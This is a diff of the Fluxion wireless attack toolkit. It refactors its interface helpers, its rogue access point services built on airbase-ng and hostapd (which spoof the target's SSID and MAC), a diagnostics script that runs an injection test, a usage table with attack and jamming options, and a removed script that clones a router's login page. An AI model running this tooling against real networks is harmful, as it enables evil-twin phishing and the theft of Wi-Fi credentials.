|
|
||||||
|
|
||||||
|
Linux MARCH 2018 FLUXION(1)"
|
||||||
|
|
||||||
|
}
|
|
@ -11,22 +11,20 @@ if [ -d /sys/bus/usb ] # && hash lsusb;
|
||||||
then InterfaceUSBBus=1
|
then InterfaceUSBBus=1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
if [ -d /sys/bus/pci ] || [ -d /sys/bus/pci_express ] || [ -d /proc/bus/pci ] # && hash lspci;
|
if [ -d /sys/bus/pci -o -d /sys/bus/pci_express -o -d /proc/bus/pci ] # && hash lspci;
|
||||||
then InterfacePCIBus=1
|
then InterfacePCIBus=1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# Checks if the interface belongs to a physical device.
|
# Checks if the interface belongs to a physical device.
|
||||||
function interface_is_real() {
|
function interface_is_real() {
|
||||||
if [ -d /sys/class/net/$1/device ]; then return 0
|
test -d /sys/class/net/$1/device
|
||||||
else return 1
|
return $?
|
||||||
fi
|
|
||||||
}
|
}
|
||||||
|
|
||||||
# Checks if the interface belongs to a wireless device.
|
# Checks if the interface belongs to a wireless device.
|
||||||
function interface_is_wireless() {
|
function interface_is_wireless() {
|
||||||
if grep -qs "DEVTYPE=wlan" /sys/class/net/$1/uevent; then return 0
|
grep -qs "DEVTYPE=wlan" /sys/class/net/$1/uevent
|
||||||
else return 1
|
return $?
|
||||||
fi
|
|
||||||
}
|
}
|
||||||
|
|
||||||
# Returns an array of absolutely all interfaces.
|
# Returns an array of absolutely all interfaces.
|
||||||
|
@ -146,64 +144,39 @@ function interface_state() {
|
||||||
|
|
||||||
function interface_set_state() {
|
function interface_set_state() {
|
||||||
if [ "${#@}" -ne 2 ]; then return 1; fi
|
if [ "${#@}" -ne 2 ]; then return 1; fi
|
||||||
|
# TODO: Add alternatives to 'ip' in case of failure.
|
||||||
ip link set "$1" "$2"
|
ip link set "$1" "$2"
|
||||||
|
return $?
|
||||||
}
|
}
|
||||||
|
|
||||||
function interface_set_mode() {
|
function interface_set_mode() {
|
||||||
if [ "${#@}" -ne 2 ]; then return 1; fi
|
if [ "${#@}" -ne 2 ]; then return 1; fi
|
||||||
if ! interface_set_state "$1" "down"; then return 2; fi
|
if ! interface_set_state "$1" "down"; then return 2; fi
|
||||||
if ! iwconfig "$1" mode "$2" &>$InterfaceUtilsOutputDevice; then return 3; fi
|
if ! iw dev "$1" set type "$2" &> $InterfaceUtilsOutputDevice; then
|
||||||
|
if ! iwconfig "$1" mode "$2" &> $InterfaceUtilsOutputDevice
|
||||||
|
then return 3
|
||||||
|
fi
|
||||||
|
fi
|
||||||
if ! interface_set_state "$1" "up"; then return 4; fi
|
if ! interface_set_state "$1" "up"; then return 4; fi
|
||||||
}
|
}
|
||||||
|
|
||||||
function interface_prompt() {
|
function interface_reidentify() {
|
||||||
if [ -z "$1" -o -z "$2" ]; then return 1; fi
|
if [ ${#@} -ne 2 ]; then return 1; fi
|
||||||
|
|
||||||
local __interface_prompt__ifAvailable=("${!2}")
|
local -r __interface_reidentify__oldIdentifier=$1
|
||||||
local __interface_prompt__ifAvailableInfo=()
|
local -r __interface_reidentify__newIdentifier=$2
|
||||||
local __interface_prompt__ifAvailableColor=()
|
|
||||||
local __interface_prompt__ifAvailableState=()
|
|
||||||
|
|
||||||
local __interface_prompt__ifCandidate
|
if [[ $__interface_reidentify__newIdentifier == *" "* ]]
|
||||||
for __interface_prompt__ifCandidate in "${__interface_prompt__ifAvailable[@]}"; do
|
then return 2
|
||||||
interface_chipset "$__interface_prompt__ifCandidate"
|
|
||||||
__interface_prompt__ifAvailableInfo+=("$InterfaceChipset")
|
|
||||||
|
|
||||||
interface_state "$__interface_prompt__ifCandidate"
|
|
||||||
|
|
||||||
if [ "$InterfaceState" = "up" ]; then
|
|
||||||
__interface_prompt__ifAvailableColor+=("$CPrp")
|
|
||||||
__interface_prompt__ifAvailableState+=("[-]")
|
|
||||||
else
|
|
||||||
__interface_prompt__ifAvailableColor+=("$CClr")
|
|
||||||
__interface_prompt__ifAvailableState+=("[+]")
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
|
|
||||||
# The following conditional is required since io_query_format_fields
|
|
||||||
# only considers the the size of the first parameter, available color.
|
|
||||||
if [ "$6" ]; then # Add alternative choices
|
|
||||||
__interface_prompt__ifAvailable+=("${!3}")
|
|
||||||
__interface_prompt__ifAvailableInfo+=("${!4}")
|
|
||||||
__interface_prompt__ifAvailableState+=("${!5}")
|
|
||||||
__interface_prompt__ifAvailableColor+=("${!6}")
|
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# If only one interface exists and it's available, choose it.
|
if ! interface_set_state $__interface_reidentify__oldIdentifier down
|
||||||
if [ "${#__interface_prompt__ifAvailable[@]}" -eq 1 -a "${__interface_prompt__ifAvailableState[0]}" = "[+]" ]; then
|
then return 3
|
||||||
InterfacePromptWISelected="${__interface_prompt__ifAvailable[0]}"
|
|
||||||
InterfacePromptWISelectedState="[+]" # It passed the condition, it must be +
|
|
||||||
InterfacePromptWISelectedInfo="${__interface_prompt__ifAvailableInfo[0]}"
|
|
||||||
else
|
|
||||||
format_apply_autosize "$CRed[$CSYel%1d$CClr$CRed]%b %-8b %3s$CClr %-*.*s\n"
|
|
||||||
io_query_format_fields "$1" "$FormatApplyAutosize" \
|
|
||||||
__interface_prompt__ifAvailableColor[@] __interface_prompt__ifAvailable[@] \
|
|
||||||
__interface_prompt__ifAvailableState[@] __interface_prompt__ifAvailableInfo[@]
|
|
||||||
|
|
||||||
echo
|
|
||||||
|
|
||||||
InterfacePromptIfSelected="${IOQueryFormatFields[1]}"
|
|
||||||
InterfacePromptIfSelectedState="${IOQueryFormatFields[2]}"
|
|
||||||
InterfacePromptWISelectedInfo="${IOQueryFormatFields[3]}"
|
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
# TODO: Add alternatives to 'ip' in case of failure.
|
||||||
|
ip link set $__interface_reidentify__oldIdentifier name $__interface_reidentify__newIdentifier
|
||||||
|
return $?
|
||||||
}
|
}
|
||||||
|
|
||||||
|
# FLUXSCRIPT END
|
||||||
|
|
|
@ -3,55 +3,87 @@
|
||||||
# ================================================================
|
# ================================================================
|
||||||
# Configuration Section
|
# Configuration Section
|
||||||
# ================================================================
|
# ================================================================
|
||||||
VIGW="at0"
|
#APServiceConfigDirectory=$FLUXIONWorkspacePath
|
||||||
VIAP=$WIAccessPoint
|
|
||||||
|
|
||||||
# airbase-ng uses a monitor-mode virtual interface
|
|
||||||
# and creates a separate interface, atX, for dhcpd.
|
|
||||||
VIAPAddress="$VIGWNetwork.2"
|
|
||||||
|
|
||||||
# APServiceConfigDirectory=$FLUXIONWorkspacePath
|
|
||||||
# ================================================================
|
# ================================================================
|
||||||
|
|
||||||
#if [ "$APServiceVersion" ]; then return 0; fi
|
#if [ "$APServiceVersion" ]; then return 0; fi
|
||||||
#readonly APServiceVersion="1.0"
|
#readonly APServiceVersion="1.0"
|
||||||
|
|
||||||
function ap_stop() {
|
function ap_service_stop() {
|
||||||
if [ "$APServicePID" ]; then kill $APServicePID &>$FLUXIONOutputDevice
|
if [ "$APServicePID" ]; then
|
||||||
|
kill $APServicePID &> $FLUXIONOutputDevice
|
||||||
fi
|
fi
|
||||||
|
|
||||||
APServicePID=""
|
APServicePID=""
|
||||||
}
|
}
|
||||||
|
|
||||||
function ap_reset() {
|
function ap_service_reset() {
|
||||||
ap_stop
|
ap_service_stop
|
||||||
|
|
||||||
|
APServiceAccessInterface=""
|
||||||
|
|
||||||
|
APServiceChannel=""
|
||||||
|
APServiceMAC=""
|
||||||
|
APServiceSSID=""
|
||||||
|
APServiceInterfaceAddress=""
|
||||||
|
APServiceInterface=""
|
||||||
}
|
}
|
||||||
|
|
||||||
function ap_route() {
|
function ap_service_route() {
|
||||||
ifconfig $VIAP $VIAPAddress netmask 255.255.255.0
|
local networkSubnet=${APServiceInterfaceAddress%.*}
|
||||||
sysctl net.ipv6.conf.at0.disable_ipv6=1 &>$FLUXIONOutputDevice
|
local networkAddress=$(( ( ${APServiceInterfaceAddress##*.} + 1 ) % 255 ))
|
||||||
|
|
||||||
|
if [ $hostID -eq 0 ]; then
|
||||||
|
let hostID++
|
||||||
|
fi
|
||||||
|
|
||||||
|
# TODO: Dynamically get the airbase-ng tap interface & use below.
|
||||||
|
# WARNING: Notice the interface below is STATIC, it'll break eventually!
|
||||||
|
if ! ifconfig "at0" $networkSubnet.$networkAddress \
|
||||||
|
netmask 255.255.255.0; then
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
if ! sysctl net.ipv6.conf.at0.disable_ipv6=1 &> $FLUXIONOutputDevice; then
|
||||||
|
return 2
|
||||||
|
fi
|
||||||
}
|
}
|
||||||
|
|
||||||
function ap_prep() {
|
function ap_service_prep() {
|
||||||
ap_stop
|
if [ ${#@} -lt 5 ]; then return 1; fi
|
||||||
|
|
||||||
|
APServiceInterface=$1
|
||||||
|
APServiceInterfaceAddress=$2
|
||||||
|
APServiceSSID=$3
|
||||||
|
APServiceMAC=$4
|
||||||
|
APServiceChannel=$5
|
||||||
|
|
||||||
|
ap_service_stop
|
||||||
|
|
||||||
# Spoof virtual interface MAC address.
|
# Spoof virtual interface MAC address.
|
||||||
# This is done by airbase-ng automatically.
|
# This is done by airbase-ng automatically.
|
||||||
|
|
||||||
|
# airbase-ng uses a monitor-mode virtual interface
|
||||||
|
# and creates a separate interface, atX, for dhcpd.
|
||||||
|
APServiceAccessInterface="at0"
|
||||||
}
|
}
|
||||||
|
|
||||||
function ap_start() {
|
function ap_service_start() {
|
||||||
ap_stop
|
ap_service_stop
|
||||||
|
|
||||||
xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" -title "FLUXION AP Service [airbase-ng]" -e airbase-ng -P -e $APTargetSSID -c $APTargetChannel -a $APRogueMAC $VIAP &
|
xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" \
|
||||||
|
-title "FLUXION AP Service [airbase-ng]" -e \
|
||||||
|
airbase-ng -P -e $APServiceSSID -c $APServiceChannel \
|
||||||
|
-a $APServiceMAC $APServiceInterface &
|
||||||
local parentPID=$!
|
local parentPID=$!
|
||||||
|
|
||||||
# Wait till airebase-ng has started and created the extra virtual interface.
|
# Wait till airebase-ng starts and creates the extra virtual interface.
|
||||||
while [ ! "$APServicePID" ]; do
|
while [ ! "$APServicePID" ]; do
|
||||||
sleep 1
|
sleep 1
|
||||||
APServicePID=$(pgrep -P $parentPID)
|
APServicePID=$(pgrep -P $parentPID)
|
||||||
done
|
done
|
||||||
|
|
||||||
ap_route
|
ap_service_route
|
||||||
}
|
}
|
||||||
|
|
||||||
# FLUXSCRIPT END
|
# FLUXSCRIPT END
|
||||||
|
|
|
@ -3,69 +3,87 @@
|
||||||
# ================================================================
|
# ================================================================
|
||||||
# Configuration Section
|
# Configuration Section
|
||||||
# ================================================================
|
# ================================================================
|
||||||
VIGW=$WIAccessPoint
|
|
||||||
VIAP=$WIAccessPoint
|
|
||||||
|
|
||||||
# HostAPD sets the virtual interface mode
|
|
||||||
# to master, which is supported by dhcpd.
|
|
||||||
VIAPAddress=$VIGWAddress
|
|
||||||
|
|
||||||
APServiceConfigDirectory=$FLUXIONWorkspacePath
|
APServiceConfigDirectory=$FLUXIONWorkspacePath
|
||||||
# ================================================================
|
# ================================================================
|
||||||
|
|
||||||
#if [ "$APServiceVersion" ]; then return 0; fi
|
#if [ "$APServiceVersion" ]; then return 0; fi
|
||||||
#readonly APServiceVersion="1.0"
|
#readonly APServiceVersion="1.0"
|
||||||
|
|
||||||
function ap_stop() {
|
function ap_service_stop() {
|
||||||
if [ "$APServicePID" ]; then kill $APServicePID &>$FLUXIONOutputDevice
|
if [ "$APServicePID" ]; then
|
||||||
|
kill $APServicePID &> $FLUXIONOutputDevice
|
||||||
fi
|
fi
|
||||||
|
|
||||||
APServicePID=""
|
APServicePID=""
|
||||||
}
|
}
|
||||||
|
|
||||||
function ap_reset() {
|
function ap_service_reset() {
|
||||||
ap_stop
|
ap_service_stop
|
||||||
|
|
||||||
# Reset MAC address to original.
|
# Reset MAC address to original.
|
||||||
ifconfig $VIAP down
|
ifconfig $APServiceInterface down
|
||||||
sleep 0.5
|
sleep 0.5
|
||||||
|
|
||||||
macchanger -p $VIAP &>$FLUXIONOutputDevice
|
macchanger -p $APServiceInterface &> $FLUXIONOutputDevice
|
||||||
sleep 0.5
|
sleep 0.5
|
||||||
|
|
||||||
ifconfig $VIAP up
|
ifconfig $APServiceInterface up
|
||||||
sleep 0.5
|
sleep 0.5
|
||||||
|
|
||||||
|
APServiceAccessInterface=""
|
||||||
|
|
||||||
|
APServiceChannel=""
|
||||||
|
APServiceMAC=""
|
||||||
|
APServiceSSID=""
|
||||||
|
APServiceInterfaceAddress=""
|
||||||
|
APServiceInterface=""
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
function ap_route() {
|
function ap_service_route() {
|
||||||
echo "APService: No custom routes for hostapd" >$FLUXIONOutputDevice
|
echo "APService: No custom routes for hostapd" > $FLUXIONOutputDevice
|
||||||
}
|
}
|
||||||
|
|
||||||
function ap_prep() {
|
function ap_service_prep() {
|
||||||
ap_stop
|
if [ ${#@} -lt 5 ]; then return 1; fi
|
||||||
|
|
||||||
|
APServiceInterface=$1
|
||||||
|
APServiceInterfaceAddress=$2
|
||||||
|
APServiceSSID=$3
|
||||||
|
APServiceMAC=$4
|
||||||
|
APServiceChannel=$5
|
||||||
|
|
||||||
|
ap_service_stop
|
||||||
|
|
||||||
# Prepare the hostapd config file.
|
# Prepare the hostapd config file.
|
||||||
echo "\
|
echo "\
|
||||||
interface=$VIAP
|
interface=$APServiceInterface
|
||||||
driver=nl80211
|
driver=nl80211
|
||||||
ssid=$APTargetSSID
|
ssid=$APServiceSSID
|
||||||
channel=$APTargetChannel" >"$APServiceConfigDirectory/$APRogueMAC-hostapd.conf"
|
channel=$APServiceChannel" \
|
||||||
|
> "$APServiceConfigDirectory/$APServiceMAC-hostapd.conf"
|
||||||
|
|
||||||
# Spoof virtual interface MAC address.
|
# Spoof virtual interface MAC address.
|
||||||
ifconfig $VIAP down
|
ifconfig $APServiceInterface down
|
||||||
sleep 0.5
|
sleep 0.5
|
||||||
|
|
||||||
macchanger --mac=$APRogueMAC $VIAP &>$FLUXIONOutputDevice
|
macchanger --mac=$APServiceMAC $APServiceInterface &> $FLUXIONOutputDevice
|
||||||
sleep 0.5
|
sleep 0.5
|
||||||
|
|
||||||
ifconfig $VIAP up
|
ifconfig $APServiceInterface up
|
||||||
sleep 0.5
|
sleep 0.5
|
||||||
|
|
||||||
|
# HostAPD sets the virtual interface mode
|
||||||
|
# to master, which is supported by dhcpd.
|
||||||
|
APServiceAccessInterface=$APServiceInterface
|
||||||
}
|
}
|
||||||
|
|
||||||
function ap_start() {
|
function ap_service_start() {
|
||||||
ap_stop
|
ap_service_stop
|
||||||
|
|
||||||
xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" -title "FLUXION AP Service [hostapd]" -e hostapd "$APServiceConfigDirectory/$APRogueMAC-hostapd.conf" &
|
xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" \
|
||||||
|
-title "FLUXION AP Service [hostapd]" -e \
|
||||||
|
hostapd "$APServiceConfigDirectory/$APServiceMAC-hostapd.conf" &
|
||||||
local parentPID=$!
|
local parentPID=$!
|
||||||
|
|
||||||
# Wait till hostapd has started and its virtual interface is ready.
|
# Wait till hostapd has started and its virtual interface is ready.
|
||||||
|
@ -74,7 +92,7 @@ function ap_start() {
|
||||||
APServicePID=$(pgrep -P $parentPID)
|
APServicePID=$(pgrep -P $parentPID)
|
||||||
done
|
done
|
||||||
|
|
||||||
ap_route
|
ap_service_route
|
||||||
}
|
}
|
||||||
|
|
||||||
# FLUXSCRIPT END
|
# FLUXSCRIPT END
|
||||||
|
|
|
@ -0,0 +1,19 @@
|
||||||
|
## Arguments table
|
||||||
|
|
||||||
|
| Arguments | Describtion |
|
||||||
|
| ------------- | ------------- |
|
||||||
|
| -a | Give a Attack |
|
||||||
|
| -e | Give a certain essid |
|
||||||
|
| -b | Give a certain bssid |
|
||||||
|
| -- | Maker is required |
|
||||||
|
| -a | Access point interface |
|
||||||
|
| -j | Jamming interface |
|
||||||
|
| -x | Use xterm instead of tmux |
|
||||||
|
| -v | Print version number |
|
||||||
|
| -d | Run fluxion in debug mode |
|
||||||
|
| -k | Kill wireless connection if it is connected |
|
||||||
|
| -m | Run fluxion in manual mode instead of auto |
|
||||||
|
| -l | Language |
|
||||||
|
|
||||||
|
## Samples
|
||||||
|
`./fluxion -a [ATTACK] -e [ESSID] -b [BSSID] -c [CHANNEL] -- -a [AP INTERFACE] -j [JAMMING INTERFACE]`
|
|
@ -1,4 +1,6 @@
|
||||||
#!/ bin / bash
|
#!/ bin / bash
|
||||||
|
|
||||||
export FLUXIONDebug = 1 export FLUXIONWIKillProcesses =
|
# These are the debug flags used by the script
|
||||||
1 export FLUXIONWIReloadDriver = 1
|
export FLUXIONDebug=1
|
||||||
|
export FLUXIONWIKillProcesses=1
|
||||||
|
export FLUXIONWIReloadDriver=1
|
||||||
|
|
|
@ -1,66 +1,89 @@
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
if [ -d "lib" ]; then source lib/InterfaceUtils.sh
|
clear
|
||||||
elif [ -d "../lib" ]; then source ../lib/InterfaceUtils.sh
|
declare -r HEADER_SIZE="####"
|
||||||
|
|
||||||
|
# Diagnostic script
|
||||||
|
|
||||||
|
if [ -d "lib" ];then
|
||||||
|
source lib/InterfaceUtils.sh
|
||||||
|
elif [ -d "../lib" ];then
|
||||||
|
source ../lib/InterfaceUtils.sh
|
||||||
else
|
else
|
||||||
echo "YOU MUST EXECUTE THIS SCRIPT FROM FLUXION'S ROOT!"
|
echo -e "\033[31mError lib folder not found\033[0m"
|
||||||
exit 1
|
exit 1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
if [ ! "$1" ]; then
|
if [ ! "$1" ]; then
|
||||||
echo "Usage ./scripts/diagnostics <wireless_interface>"
|
echo "Usage ./scripts/diagnostics [wireless_interface]"
|
||||||
exit 1
|
exit 1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
echo "[ FLUXION Info ]"
|
echo "$HEADER_SIZE FLUXION Info"
|
||||||
if [ -f "./fluxion.sh" ]
|
if [ -f "fluxion" ];then
|
||||||
then declare -r FLUXIONInfo=($(grep -oE "FLUXION(Version|Revision)=[0-9]+" fluxion.sh))
|
declare -r FLUXIONInfo=($(grep -oE "FLUXION(Version|Revision)=[0-9]+" fluxion))
|
||||||
else declare -r FLUXIONInfo=($(grep -oE "FLUXION(Version|Revision)=[0-9]+" ../fluxion.sh))
|
else
|
||||||
|
declare -r FLUXIONInfo=($(grep -oE "FLUXION(Version|Revision)=[0-9]+" ../fluxion))
|
||||||
fi
|
fi
|
||||||
echo "FLUXION V${FLUXIONInfo[0]/*=/}.${FLUXIONInfo[1]/*=/}"
|
echo "FLUXION V${FLUXIONInfo[0]/*=/}.${FLUXIONInfo[1]/*=/}"
|
||||||
echo -ne "\n\n"
|
echo -ne "\n\n"
|
||||||
|
|
||||||
echo "[ BASH Info ]"
|
echo "$HEADER_SIZE BASH Info "
|
||||||
bash --version
|
bash --version
|
||||||
echo "Path: $(ls -L $(which bash))"
|
echo "**Path:** $(ls -L $(which bash))"
|
||||||
echo -ne "\n\n"
|
echo -ne "\n\n"
|
||||||
|
|
||||||
echo "[ Interface ($1) Info ]"
|
echo "$HEADER_SIZE Interface ($1) Info "
|
||||||
if interface_physical "$1"; then echo "Device: $InterfacePhysical"
|
if interface_physical "$1";then
|
||||||
else echo "Device: Unknown"
|
echo "**Device**: $InterfacePhysical"
|
||||||
|
else
|
||||||
|
echo "**Device:** Unknown"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
if interface_driver "$1"; then echo "Driver: $InterfaceDriver"
|
if interface_driver "$1";then
|
||||||
else echo "Driver: Unsupported"
|
echo "**Driver:** $InterfaceDriver"
|
||||||
|
else
|
||||||
|
echo "**Driver:** Unsupported"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
if interface_chipset "$1"; then echo "Chipset: $InterfaceChipset"
|
if interface_chipset "$1";then
|
||||||
else echo "Chipset: Unknown"
|
echo "**Chipset:** $InterfaceChipset"
|
||||||
|
else
|
||||||
|
echo "**Chipset:** Unknown"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
echo -n "Injection Test: "
|
if iw list | grep monitor | head -n 1 | tail -n 1 &>/dev/null;then
|
||||||
aireplay-ng --test "$1" | grep -oE "Injection is working!|No Answer..." || echo "failed"
|
echo "**Master Modes** Yes"
|
||||||
|
else
|
||||||
|
echo "**Master Modes** No"
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo -n "**Injection Test:** "
|
||||||
|
aireplay-ng --test "$1" | grep -oE "Injection is working!|No Answer..." || echo -e "\033[31mFailed\033[0m"
|
||||||
echo -ne "\n\n"
|
echo -ne "\n\n"
|
||||||
|
|
||||||
echo "[ XTerm Info ]"
|
echo "$HEADER_SIZE XTerm Infos"
|
||||||
echo "Version: $(xterm -version)"
|
echo "**Version:** $(xterm -version)"
|
||||||
echo "Path: $(ls -L $(which xterm))"
|
echo "**Path:** $(ls -L $(which xterm))"
|
||||||
echo -n "Test: "
|
echo -n "Test: "
|
||||||
if xterm -hold -fg "#FFFFFF" -bg "#000000" -title "XServer/XTerm Test" -e "echo \"XServer/XTerm test: close window to continue...\"" &>/dev/null; then echo "XServer/XTerm success!"
|
if xterm -hold -fg "#FFFFFF" -bg "#000000" -title "XServer/XTerm Test" -e "echo \"XServer/XTerm test: close window to continue...\"" &>/dev/null; then echo "XServer/XTerm success!"
|
||||||
else echo "XServer/XTerm failure!"
|
else
|
||||||
|
echo -e "\033[31m XServer/XTerm failure!\033[0m"
|
||||||
fi
|
fi
|
||||||
echo -ne "\n\n"
|
echo -ne "\n\n"
|
||||||
|
|
||||||
echo "[ HostAPD Info ]"
|
echo "$HEADER_SIZE HostAPD Info"
|
||||||
hostapd -v
|
hostapd -v
|
||||||
echo "Path: $(ls -L $(which hostapd))"
|
echo "Path: $(ls -L $(which hostapd))"
|
||||||
echo -ne "\n\n"
|
echo -ne "\n\n"
|
||||||
|
|
||||||
echo "[ Aircrack-ng Info ]"
|
echo "$HEADER_SIZE Aircrack-ng Info"
|
||||||
aircrack-ng -H | head -n 4
|
aircrack-ng -H | head -n 4
|
||||||
echo -ne "\n\n"
|
echo -ne "\n"
|
||||||
|
|
||||||
echo "[ System Info ]"
|
echo "$HEADER_SIZE System Info"
|
||||||
if [ -r "/proc/version" ]; then cat /proc/version
|
if [ -r "/proc/version" ]; then
|
||||||
else uname -r
|
echo "**Chipset:** $(cat /proc/version)"
|
||||||
|
else
|
||||||
|
echo "**Chipset:** $(uname -r)"
|
||||||
fi
|
fi
|
||||||
|
|
|
@ -1,70 +0,0 @@
|
||||||
#!/bin/bash
|
|
||||||
|
|
||||||
##################################### < CONFIGURATION > #####################################
|
|
||||||
|
|
||||||
gateway=$(ip route | grep default | awk '{print $3}')
|
|
||||||
|
|
||||||
#Colors
|
|
||||||
white="\033[1;37m"
|
|
||||||
red="\033[1;31m"
|
|
||||||
blue="\033[1;34m"
|
|
||||||
transparent="\e[0m"
|
|
||||||
|
|
||||||
#############################################################################################
|
|
||||||
|
|
||||||
clear
|
|
||||||
echo -e "$red[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]"
|
|
||||||
echo -e "$red Prepare router page."
|
|
||||||
echo -e "$blue[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]""$transparent"
|
|
||||||
echo "[i] Prepare dep."
|
|
||||||
|
|
||||||
# Check which package manager is installed
|
|
||||||
echo "Package Manager"
|
|
||||||
if hash pacman 2>/dev/null; then
|
|
||||||
PACK="pacman -S"
|
|
||||||
else
|
|
||||||
if hash apt-get 2>/dev/null; then
|
|
||||||
PACK="apt-get install"
|
|
||||||
else
|
|
||||||
if hash yum 2>/dev/null; then
|
|
||||||
PACK="yum install"
|
|
||||||
fi
|
|
||||||
fi
|
|
||||||
fi
|
|
||||||
sleep 0.025
|
|
||||||
echo "================================================================================="
|
|
||||||
|
|
||||||
echo -ne "Httrack........."
|
|
||||||
if ! hash httrack 2>/dev/null; then
|
|
||||||
echo -e "\e[1;31mNot installed"$transparent""
|
|
||||||
$PACK httrack
|
|
||||||
else
|
|
||||||
echo -e "\e[1;32mOK!"$transparent""
|
|
||||||
fi
|
|
||||||
sleep 0.025
|
|
||||||
echo "================================================================================="
|
|
||||||
|
|
||||||
echo -ne "cutycapt........"
|
|
||||||
if ! hash httrack 2>/dev/null; then
|
|
||||||
echo -e "\e[1;31mNot installed"$transparent""
|
|
||||||
$PACK cutycapt
|
|
||||||
else
|
|
||||||
echo -e "\e[1;32mOK!"$transparent""
|
|
||||||
fi
|
|
||||||
sleep 0.025
|
|
||||||
echo "================================================================================="
|
|
||||||
|
|
||||||
if [ ! -d sites ]; then
|
|
||||||
mkdir sites
|
|
||||||
fi
|
|
||||||
|
|
||||||
#############################################################################################
|
|
||||||
echo "[i] Download preview picture"
|
|
||||||
cutycapt --url=http://$gateway --out=sites/$(date | awk '{print $4}').png
|
|
||||||
echo "================================================================================="
|
|
||||||
|
|
||||||
cd sites
|
|
||||||
echo "[i] Download router site"
|
|
||||||
httrack $gateway
|
|
||||||
echo "================================================================================="
|
|
||||||
echo "[I] DONE"
|
|
Loading…
Reference in New Issue